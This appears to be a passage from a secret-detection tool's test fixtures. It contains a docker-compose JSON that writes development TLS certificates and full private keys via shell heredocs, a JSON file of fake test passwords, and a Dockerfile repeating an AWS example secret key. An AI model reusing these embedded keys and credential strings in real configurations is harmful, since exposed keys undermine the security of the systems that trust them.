0LG/VwLYn2tDKBrS9iZIlTqPw\nve8VoGIlx4uvHTdzaVStcRKOXCsbSwXRdt0842d4C1nohQkRHqHoBjQzrJiWJzxG\nmgByfa2rxbNg15PFwF+ZAgMBAAGjbDBqMA4GA1UdDwEB/wQEAwIFoDATBgNVHSUE\nDDAKBggrBgEFBQcDATAfBgNVHSMEGDAWgBS3GPBKDaHzHK68c8sSJ91umTjFVzAi\nBgNVHREEGzAZghcqLmxvY2FsaG9zdC5wb21lcml1bS5pbzANBgkqhkiG9w0BAQsF\nAAOCAYEAizMhh+VYIMp07wGn7+rzAE/651yiMC6kZHIOMHilvimyYvCf+Yc0MrcD\nmVQgqlUpkn/f2SOFsBQonjAACkWlSHah9KStL0iTvOIH+oGLnv3Y9wrKvwJol3KR\nc/+mO9R9TS71DoX+rTGRY3BNldpMBZF7HsYt/bg0RSpF0zkZarW+PEMmPw6IgIaD\nRPGpOiQOqIxQn4d6MyiNGS0QmDeGSZvsC07ZcZ+JxsYi4S+yN6GXt11pstiRXjDv\nzrO3s8TnVsBux7VDdIYfzMxqz+874MbsUUlb4txr3V48UDRLm7VDQ2/F+o0+Y5wt\nXAnXTn/6GFpjJvPGr0A1QLOvnhR0DZ4Fl97athu44pqeQywDU5LPP3HqrWRXLy3j\nBPBC4waHayL9Hnh4zQUe/h6hwC5Nxl/gqfB3Aaqr5PWX6rMFss8AYpB81ci+UJdm\nKSIn/pMoK6TWkCveoQRQOZD8wfwPF4cUUmWcLFwSveZSiniFrAXQqZbO1k6RDhQf\nhavcwKlK\n-----END CERTIFICATE-----\nEND_OF_HTTPDETAILS\ncat <<-END_OF_HTTPDETAILS | tee /app/privkey.pem\n-----BEGIN PRIVATE KEY-----\nMIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCgVDM59lGzCRjd\nUQCyzokqC4sEr7Ln2FpXfHjMWPuNK5vQYccTxto3JlAVXl+oOLHGoryKGDOkRV1S\nDb3zAxYQNDuYUnraiVgLPrM9NFpHSk/IlACQjRlFRYG0Go3PDR2vJX4qTwgrqQtL\nOJ5tHnqrt6idtvNp1ISYOIscXf/WIAhh+IuOvas4eie7GETX4eqPqpc6AEFuklmo\nBHBfMCrGg89WBUTWCZYrHE9BYDL0LG/VwLYn2tDKBrS9iZIlTqPwve8VoGIlx4uv\nHTdzaVStcRKOXCsbSwXRdt0842d4C1nohQkRHqHoBjQzrJiWJzxGmgByfa2rxbNg\n15PFwF+ZAgMBAAECggEADTzGefunZTPUFLnSZ/D7jDglwz5KdC/9zYleY+jY5B/8\nnmjkSfK6I6GLLSh8l2QO8YqQLIqxANglS1gNHdpcYPwfC4WL1S1P0qXboKsI5Sfy\njGoD3et4caq6ecdTfAvmLobW8uFRmGE9qHlFQ1cn47OnPVZUpKFCTVslyTLNo70h\n28gx/lnpgkbeWotJ5GygE/H0jKJlG8/V3+Ppfuq6wypA5ELcGUeMAwmCfUNNlDy3\nBhXSa6STgL26ar70KZIjTp9B97hIfDWObxgjzMX2JoiWXziszvbfaknfBsmfTm45\noUZYO0DuvLdLpxic0GZQwZCT6GzuexxJ9zR/pdahrQKBgQDEiwc0e+M1KaOoIIcw\nV7pxoGjvd+CC5whS00jSf/rXPSPFxat9Ml5serOzLdRLM/NQ5wB9S7TYc6PJi3Mb\n8pmbGadIXiGIJY8vX79P/velHT4csgULJAKJF9U65knhaidPPPmXloHOhRWrE8Zq\nmexVgJZrHLI8197qmi+ctT5rEwKBgQDQ1J84AwI1hEsXHxoSetSznt+ae7pSUb/J\nbyqK9KEp0DLyf8GcS7vxyYGQo0mJDlHaJt56LKv+zdX4wGG85ztbOFVPee6XLKSs\nI+h7rzc2hKrl+SaI91h1234WsTeJvfUSHyBy9vAwLhd0hplNrt7Tql5Z0VTWHmFE\n2XbEwcTUIwKBgQDBpioHMDmBW/F/6ezJWOa+pco+h+KRl4i/8qVBog9Im1jvt/9r\nb4FRaOQ9mt4c6qbGA5Sb30fkLKwoHFniI3ntM616xCRNvJQDnVcmPpVJ/jIAm/YU\nL/q/kNfrHJOWobzxeaaCESz8imv7D5Tj25zb8cJC7xc+k4Nzq09WG83QOQKBgG28\nLOZ7/j8tA2BlAYhQb1Dr3UgKWEBFoOgyuEJIhh+4vezb4VtGGL7XSnQ8ubmBgtWF\ns0a0DrVYaGXMgg+H2pL2qS2YPx3FYcrrG5FS40qMsFkkcXFruFpGOp2mBi8lWJBr\nNtvykwheUAj1ab1+dKz5S5ca/t99G1PYiiaeQ9XNAoGAVXk4HvdUc5q+BNiYvKUS\nM2/TDU3cYY72mPCEw7G6Kpn6zMaakQcA1+Z8LkYcLaQKRD/66n99WWT+BcY+QXtC\n0ZPHjeepDL8q+yXRY8zlcgAukg18Ta5yD1J1014y8UIV+HY8ongTni1sI8N+vKd4\n+TF2C2Cynf5vQr5man7ShPw=\n-----END PRIVATE KEY-----\nEND_OF_HTTPDETAILS\nnode ./index.js\n" ], "image": "mendhak/http-https-echo:19", "networks": { "main": { "aliases": [ "untrusted-httpdetails" ] } } }, "untrusted-httpdetails-ready": { "command": [ "-wait", "http://untrusted-httpdetails:8080", "-timeout", "10m" ], "image": "jwilder/dockerize:0.6.1", "networks": { "main": { "aliases": [ "untrusted-httpdetails-ready" ] } } }, "verify": { "depends_on": { "verify-init": { "condition": "service_completed_successfully" } }, "environment": { "SSL_CERT_FILE": "/verify_config/ca.pem" }, "image": "pomerium/verify:${VERIFY_TAG:-latest}", "networks": { "main": { "aliases": [ "verify" ] } }, "volumes": [ "verify_config:/verify_config" ] }, "verify-init": { "command": [ "sh", "-c", "echo '-----BEGIN CERTIFICATE-----\nMIIE1zCCAz+gAwIBAgIQZ139cd/paPdkS2JyAu7kEDANBgkqhkiG9w0BAQsFADCB\ngzEeMBwGA1UEChMVbWtjZXJ0IGRldmVsb3BtZW50IENBMSwwKgYDVQQLDCNjYWxl\nYkBjYWxlYi1wYy1saW51eCAoQ2FsZWIgRG94c2V5KTEzMDEGA1UEAwwqbWtjZXJ0\nIGNhbGViQGNhbGViLXBjLWxpbnV4IChDYWxlYiBEb3hzZXkpMB4XDTIxMDgxMDE3\nMzIwOVoXDTMxMDgxMDE3MzIwOVowgYMxHjAcBgNVBAoTFW1rY2VydCBkZXZlbG9w\nbWVudCBDQTEsMCoGA1UECwwjY2FsZWJAY2FsZWItcGMtbGludXggKENhbGViIERv\neHNleSkxMzAxBgNVBAMMKm1rY2VydCBjYWxlYkBjYWxlYi1wYy1saW51eCAoQ2Fs\nZWIgRG94c2V5KTCCAaIwDQYJKoZIhvcNAQEBBQADggGPADCCAYoCggGBANbKyMz5\nMVW6YKdjh1oIN1Mn7PE2pH5SbJSpWxdAGhdBkBkpAa7OxarjH5KVkCTSa7oncla7\nqNuJZS6mBmoxF+R+cR3jyGdUAYlozl1jlfqLIfC/+g7V7VmOJn98tjB42fatxLl6\nWPAw1JDNsWtQfhKhbcHut7RsF0rMOOHcwywTR7LOyCmIel1pcmpV4hbVcT6eVwoP\nHXyJSa9cqaMQ5Xrdogai4IqZZIGLHeLsTVutOgJFXEevlX/QT3sWomEctzh38Js4\n9DiAPD6d4Y7/CPLYEfk29JQ9NZhpgDsi9hu5FHHZcXwf1IHlw/CBVgn6j+jmvKKz\n90Ma1oquv3W6dttid/xCcLGu2S+96Tzrykmoy5VacLtVEP41YmoVls91rlo7olpe\nQWFbnmco739TI/4h+HodolperQERQl7uCnpKVPZ3WokKuRh5pkqkQp/arQjtwcRt\nG43CrDpbl+uSjMCAxha958eTYvtojTMnvLtsGID1hGXnqlw+5KjKrgRHrQIDAQAB\no0UwQzAOBgNVHQ8BAf8EBAMCAgQwEgYDVR0TAQH/BAgwBgEB/wIBADAdBgNVHQ4E\nFgQUhYZYWIBHyk6ZVTnp3lRt/tyBP00wDQYJKoZIhvcNAQELBQADggGBAA1F/apr\nl6pNT3Mp/MxhUUgo6usEJCryGQcLRfexyQXGN3huCmIrP55VFa8ETPAtjsr6PMe7\n7vvEj8eFu2JtKovlQwNewYU9cjAMCVaFiNbrQa20hzhWc2js6dyildE6/DPzbeds\nKDAxhFNp35SlwtRtKk1SzxJxsqSwjfxI8fp+R/0wO8g0fWTdM2gCpRwYMNwJELEg\n+dSlvJCwuu+rzxLalzaPF1PMTW72OELal/j5sD+2VytQ4k+HUDbyt2DnQT7YQ3zo\nq02x2u2sm1WW/o/uh8pjPxkGQqL2mryZs6VH9VCU3QkKNDssNd71lr3wPoE4YRHe\nUvzD1eDeelzBUFNIpDCjdCsL55yIPqUsr6lmjpBPL0vea33QTMbcsSxu0umGXDbU\n66juU4Z1jOE0wClIvaO699J+E2gBe1jUN6At6b8BSoZqCqXYoDHGei9RBUdvgqto\nkVsoJfDI/TFMekYgpL5UVYmLdfgqLPPRP9pQBLDx3mszeAqnvfTICAzfXg==\n-----END CERTIFICATE-----\n' > /verify_config/ca.pem" ], "image": "busybox:latest", "networks": { "main": { "aliases": [ "verify-init" ] } }, "volumes": [ "verify_config:/verify_config" ] }, "verify-ready": { "command": [ "-wait", "http://verify:8000/", "-timeout", "10m" ], "image": "jwilder/dockerize:0.6.1", "networks": { "main": { "aliases": [ "verify-ready" ] } } }, "websocket-echo": { "command": [ "--port", "80", "tee" ], "image": "pvtmert/websocketd:latest", "networks": { "main": { "aliases": [ "websocket-echo" ] } } }, "websocket-echo-ready": { "command": [ "-wait", "tcp://websocket-echo:80", "-timeout", "10m" ], "image": "jwilder/dockerize:0.6.1", "networks": { "main": { "aliases": [ "websocket-echo-ready" ] } } }, "wrongly-named-httpdetails": { "command": [ "sh", "-c", "cat <<-END_OF_HTTPDETAILS | tee /app/fullchain.pem\n-----BEGIN CERTIFICATE-----\nMIIEWDCCAsCgAwIBAgIRAK1MkqoHP+DPILewhMcnnu4wDQYJKoZIhvcNAQELBQAw\ngYMxHjAcBgNVBAoTFW1rY2VydCBkZXZlbG9wbWVudCBDQTEsMCoGA1UECwwjY2Fs\nZWJAY2FsZWItcGMtbGludXggKENhbGViIERveHNleSkxMzAxBgNVBAMMKm1rY2Vy\ndCBjYWxlYkBjYWxlYi1wYy1saW51eCAoQ2FsZWIgRG94c2V5KTAeFw0yMTA4MTEy\nMTU0MzRaFw0yMzExMTEyMjU0MzRaMFcxJzAlBgNVBAoTHm1rY2VydCBkZXZlbG9w\nbWVudCBjZXJ0aWZpY2F0ZTEsMCoGA1UECwwjY2FsZWJAY2FsZWItcGMtbGludXgg\nKENhbGViIERveHNleSkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDV\nDWPhOpNWAYNTQZ4BR5ZU13HqRg/6B49duFcHPY+hkbQPSZdN+GZjCeRVIK8iAkgM\n3cvyRs40dygZeogu9LYo6AN/h6cVCF9ENg5jo7/PjK5/6aIf8/Ss22tCuhUL7UHV\n6ttf6y0+4Nq1hRQcbyIPij89nmO+mT4Fhs9gNSsj2y0gQQWqN2lGhhBnnaCUxh3E\nlxIYQsCr85FyW8wWtPxn6mdFHc/iSUh0edeiExWsbPTdfEAj93J5bidXAi27uxTC\n8X2vHBBIbnZipb9zmZxBjDjslEnN4vVc9weW5N3nKcu+7QXJdiHFP32YSET2Opu3\nOIkJji4rpJqxG1Z7MvPzAgMBAAGjcjBwMA4GA1UdDwEB/wQEAwIFoDATBgNVHSUE\nDDAKBggrBgEFBQcDATAfBgNVHSMEGDAWgBSFhlhYgEfKTplVOeneVG3+3IE/TTAo\nBgNVHREEITAfgh1pbnZhbGlkLmxvY2FsaG9zdC5wb21lcml1bS5pbzANBgkqhkiG\n9w0BAQsFAAOCAYEABsSByXWA7e8hpKWZK4APWzkvDwiTGrDDE7k0hueJksTZ5Nqw\nfRdGoUpweWIYzAv1etPAr+B2gsZM/jVRidaGDI1tKPytZ3pP6mQ52CVXkeJQytPr\nrNDnP3Lbpbs8PHoHw3PVxIyRps1ZbZkgbUsXrSvpp/l+ZObbGQjr3Fdx5oXI6a1V\nNNC39LkPhjTKtcG+H8dO5GRuDb/9PrzrnDwnl6CoORbEjTKRIFuA+vkFBRjyuccr\nGQiMNmMxy5CMOsK+Od4+8qhv2ZgnREHyBnjFFhgVLFJ2PwUxk3N4GIzCC8tsD+vb\n+YJgCS7n6JmcB9SFeyRy+qpolnfEaMvRwnJl6Evj17VCBy7x0gEO6B4lILPpziN8\nVVhSuRsC0V8aXJJx89mwrg9pzN9w771rFVOCrAEdZei34/yfo8VyBbIR1gUxkRNJ\ncrTI9pT0PK+9OWQ57HtnGmFsPtWT8r7P8xukAPy50wSLF3InjEo8VR2df+V7DVVU\naTjNbuaG1NLNyWLH\n-----END CERTIFICATE-----\nEND_OF_HTTPDETAILS\ncat <<-END_OF_HTTPDETAILS | tee /app/privkey.pem\n-----BEGIN PRIVATE KEY-----\nMIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDVDWPhOpNWAYNT\nQZ4BR5ZU13HqRg/6B49duFcHPY+hkbQPSZdN+GZjCeRVIK8iAkgM3cvyRs40dygZ\neogu9LYo6AN/h6cVCF9ENg5jo7/PjK5/6aIf8/Ss22tCuhUL7UHV6ttf6y0+4Nq1\nhRQcbyIPij89nmO+mT4Fhs9gNSsj2y0gQQWqN2lGhhBnnaCUxh3ElxIYQsCr85Fy\nW8wWtPxn6mdFHc/iSUh0edeiExWsbPTdfEAj93J5bidXAi27uxTC8X2vHBBIbnZi\npb9zmZxBjDjslEnN4vVc9weW5N3nKcu+7QXJdiHFP32YSET2Opu3OIkJji4rpJqx\nG1Z7MvPzAgMBAAECggEBAM3XhRO7+1QSXCaZdCZ6WuWXzojxrkf8++gpzXPCZ75L\nvvMyP8xmXc38Za5VyL+MAr7joENxY5NPON/9AgyUBFdbat3RW323vAt0Ssy8Dfti\nScpuGWTT2CcWS/iJPwJp9bzPj6qJ1wo0Rzsv23FpcjgfcuB+4pHpDwJZ8IxcclTN\njv5XdmanN0Ai2ONDkIHQyvMTsYAX99OK7nXIs3OW7s4wsm8Wg+loCqTvojTzWuwE\nTZNFonHAZ81jkrYfNjz+sM/tPuOYD+vWQ89+1IeQKFw1U0iBpF1VvhA7UeQZMeI8\nS1NpDQTQW0kxmUAlLj7ldnIvknT/x0lKzoafVpk47/kCgYEA+SxnMLHe3Wxb4Kkf\n7Gwktbth/wlWzUWzQ7c0TdhfEDjcRB7SeGIjrL4/HPyXEsCcGIj84TEob1EA0KVP\nl6Jeqh5t/sr9da+uLFf6H41yZUaTccoyclnjHsqT+WLTtiTKqf7cXACg5NKbJwUT\nldCEu+4Ovur+8Ax6s/mGWNEzar0CgYEA2uOmD+SCIhj16P+3GnpZ0UzyDhUKedTy\nLisZznroF6RI3BHzNT+YotHORDMiJtmX0slFcInAWaB3htLPbHmvredjlsH35eHW\nB6wkWmbniJEovPysWdg7xjrj8DoL2dcm6liM1KpSo9k6XWJu36//xF4RTnL8JPEH\nRPuBWmBXHG8CgYBjJy886lr0I61//eztKK+G/bTmRvIapzTJqnqOy54wl1/XX6iD\nLRJjKCV3RHBdjvXOsZxnhCdB/KrlXBMLFRq0eX1t2Zr4nNsjXDL1IVU3Rdlge4SN\nioVdeGFf6Nq0bXmUIg3QMpPT2pbQ9S0w/ZQEMJv/jwW5wk2FlrLGXyElxQKBgQC3\nskUzITp1Ey2NFM290uB93m1llBLum9+DD3jg6BTPgngC+K17Cpw2SI0qfx8yK3pW\n08MK5xAeJ6Un6NNa3eSptX7GjpJUwmq0lasMkz/MRMZDlGmwHOBNRC729D/t2bo3\nAYlvEGG6UBvDM1CJOVMUoT008Rrahczr/4ZXKnLw0QKBgExc+SXb5IRJIMHEQLkg\nE7va23sR7x4j75mK6HnSwAM3jKx4GDgpkY1EO+rh+99mq/bIouL8ob/PG7A5RtKp\n+Sgpqk5N6NpSFMaubsu1EQhqT5pmy0dN5KXecR4s1IylPvth/h3tdXPKGcLMD2M2\nEN59YIA1o4qWjJsfEiuQ6x7M\n-----END PRIVATE KEY-----\nEND_OF_HTTPDETAILS\nnode ./index.js\n" ], "image": "mendhak/http-https-echo:19", "networks": { "main": { "aliases": [ "wrongly-named-httpdetails" ] } } }, "wrongly-named-httpdetails-ready": { "command": [ "-wait", "http://wrongly-named-httpdetails:8080", "-timeout", "10m" ], "image": "jwilder/dockerize:0.6.1", "networks": { "main": { "aliases": [ "wrongly-named-httpdetails-ready" ] } } } }, "volumes": { "fortio_config": {}, "verify_config": {} } } ================================================ FILE: tests/secrets/json_multiline/test-multiline-secrets.json ================================================ { "spec": [ { "name": "SOME_NAME", "value": "some_value" }, { "value": "Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE", "name": "TEST_PASSWORD_1", "name1": "TEST_PASSWORD_2", "value1": "1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35" }, { "name": "TEST_PASSWORD_3", "value": "PtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h" }, { "name": "TEST_PASSWORD_4", "value": "emDJTiv6H/hP6I8Tmr5+kUdpBIQDrXMwFO7AkmbwROf3rM6uNToJlIJW7H5ApfPmSGU0oWBwflV6Cd9pPu5nEvgxt4YMHZ0SQ85z" }, { "name": "TEST_PASSWORD_LONG_1", "value": "m9+1ONt6FdpnByhlaKDwZ/jjA5gaPzrKY9q5G8cr6kjn092ogigwEOGGryjDqq/NkX1DnKGGG7iduJUJ48+Rv0tgpdVAxwLQuiszRnssmi2ck/Zf1iDFlNQtiE8rvXE6OTCsb6mrpyItLOVnEwsRSpggyRa3KLSuiguiZsK5KyXQ6BsiAclpLvz6QFBQoQkZNxownQrqgLwVwkK1gW0/EEm0m1ylz20ZeLgYO6tRSvKDW0lrgAI7g60F7/eJGv1UqQlxK58T+7u1UX/K11Q69e9jJE+LkQ932eY37U70oVbBVchHwSFKUoffernEaG9XP1tyEpIptPqVpcS2BMpktoR1p1yyWuxC5GsPc2RlPQzEbs3n5lPPnC/uEVu7/cJENSw5+9DzigiHYPz1Cq/p5HedIl5ysn2U2VFgHWekGBYin6ytfmF2Sx+hYqeRd6RcxyU434CXspWQqc330sp9q7vwPQHNecBrvG2Iy7mqVSvaJDnkZ8AN" }, { "name": "TEST_PASSWORD_no_password", "value": "RandomP@ssw0rd" } ] } ================================================ FILE: tests/secrets/long_line_custom_regex_detector/Dockerfile ================================================ FROM base:1 ENV SOMETHING="wJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXU